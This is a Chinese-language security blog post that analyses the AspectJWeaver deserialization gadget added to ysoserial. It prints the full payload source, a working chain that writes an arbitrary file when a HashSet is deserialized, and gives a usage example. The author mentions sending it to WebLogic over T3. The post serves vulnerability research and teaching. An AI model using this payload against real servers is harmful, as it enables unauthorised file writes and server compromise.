昨天在挖weblogic漏洞时发现ysoserial更新了一个新的gadget AspectJWeaver,今天分析一下。
先看下yso给出的payload
1package ysoserial.payloads;
2
3import org.apache.commons.codec.binary.Base64;
4import org.apache.commons.collections.Transformer;
5import org.apache.commons.collections.functors.ConstantTransformer;
6import org.apache.commons.collections.keyvalue.TiedMapEntry;
7import org.apache.commons.collections.map.LazyMap;
8import ysoserial.payloads.annotation.Authors;
9import ysoserial.payloads.annotation.Dependencies;
10import ysoserial.payloads.annotation.PayloadTest;
11import ysoserial.payloads.util.PayloadRunner;
12import ysoserial.payloads.util.Reflections;
13
14import java.io.Serializable;
15import java.lang.reflect.Constructor;
16import java.lang.reflect.Field;
17import java.util.HashMap;
18import java.util.HashSet;
19import java.util.Map;
20
21/*
22Gadget chain:
23HashSet.readObject()
24 HashMap.put()
25 HashMap.hash()
26 TiedMapEntry.hashCode()
27 TiedMapEntry.getValue()
28 LazyMap.get()
29 SimpleCache$StorableCachingMap.put()
30 SimpleCache$StorableCachingMap.writeToPath()
31 FileOutputStream.write()
32
33Usage:
34args = "<filename>;<base64 content>"
35Example:
36java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
37
38More information:
39https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
40 */
41@PayloadTest(skip="non RCE")
42@SuppressWarnings({"rawtypes", "unchecked"})
43@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
44@Authors({ Authors.JANG })
45
46public class AspectJWeaver implements ObjectPayload<Serializable> {
47
48 public Serializable getObject(final String command) throws Exception {
49 int sep = command.lastIndexOf(';');
50 if ( sep < 0 ) {
51 throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
52 }
53 String[] parts = command.split(";");
54 String filename = parts[0];
55 byte[] content = Base64.decodeBase64(parts[1]);
56
57 Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
58 Object simpleCache = ctor.newInstance(".", 12);
59 Transformer ct = new ConstantTransformer(content);
60 Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
61 TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
62 HashSet map = new HashSet(1);
63 map.add("foo");
64 Field f = null;
65 try {
66 f = HashSet.class.getDeclaredField("map");
67 } catch (NoSuchFieldException e) {
68 f = HashSet.class.getDeclaredField("backingMap");
69 }
70
71 Reflections.setAccessible(f);
72 HashMap innimpl = (HashMap) f.get(map);
73
74 Field f2 = null;
75 try {
76 f2 = HashMap.class.getDeclaredField("table");
77 } catch (NoSuchFieldException e) {
78 f2 = HashMap.class.getDeclaredField("elementData");
79 }
80
81 Reflections.setAccessible(f2);
82 Object[] array = (Object[]) f2.get(innimpl);
83
84 Object node = array[0];
85 if(node == null){
86 node = array[1];
87 }
88
89 Field keyField = null;
90 try{
91 keyField = node.getClass().getDeclaredField("key");
92 }catch(Exception e){
93 keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
94 }
95
96 Reflections.setAccessible(keyField);
97 keyField.set(node, entry);
98
99 return map;
100
101 }
102
103 public static void main(String[] args) throws Exception {
104 args = new String[]{"ahi.txt;YWhpaGloaQ=="};
105 PayloadRunner.run(AspectJWeaver.class, args);
106 }
107}
先看堆栈后半段
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
writeToPath中key和value分别是文件名和内容。
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
中调用了writeToPath。
现在如果反序列化时可以触发put方法,就可以自动写入文件。
再通过正向思维看前半段,我们的目的是寻找put方法调用。
在HashSet类的readObject中
进行了map.put,跟进
跟进hash()
这里自动调用了key.hashCode()即org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
hashCode()自动调用了getValue()
getValue()又调用自身map字段的get方法。自身map字段为Map类型,而在org.apache.commons.collections.map.LazyMap#get
中进行了put方法,接上了我们后半段的put方法。
到此整条链就结束了,算是比较简单的一条gadget。
这条链我通过T3打过去,发现weblogic已经过滤了org.apache.commons.collections.functors
包名,相信不久就会出现新的绕过。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。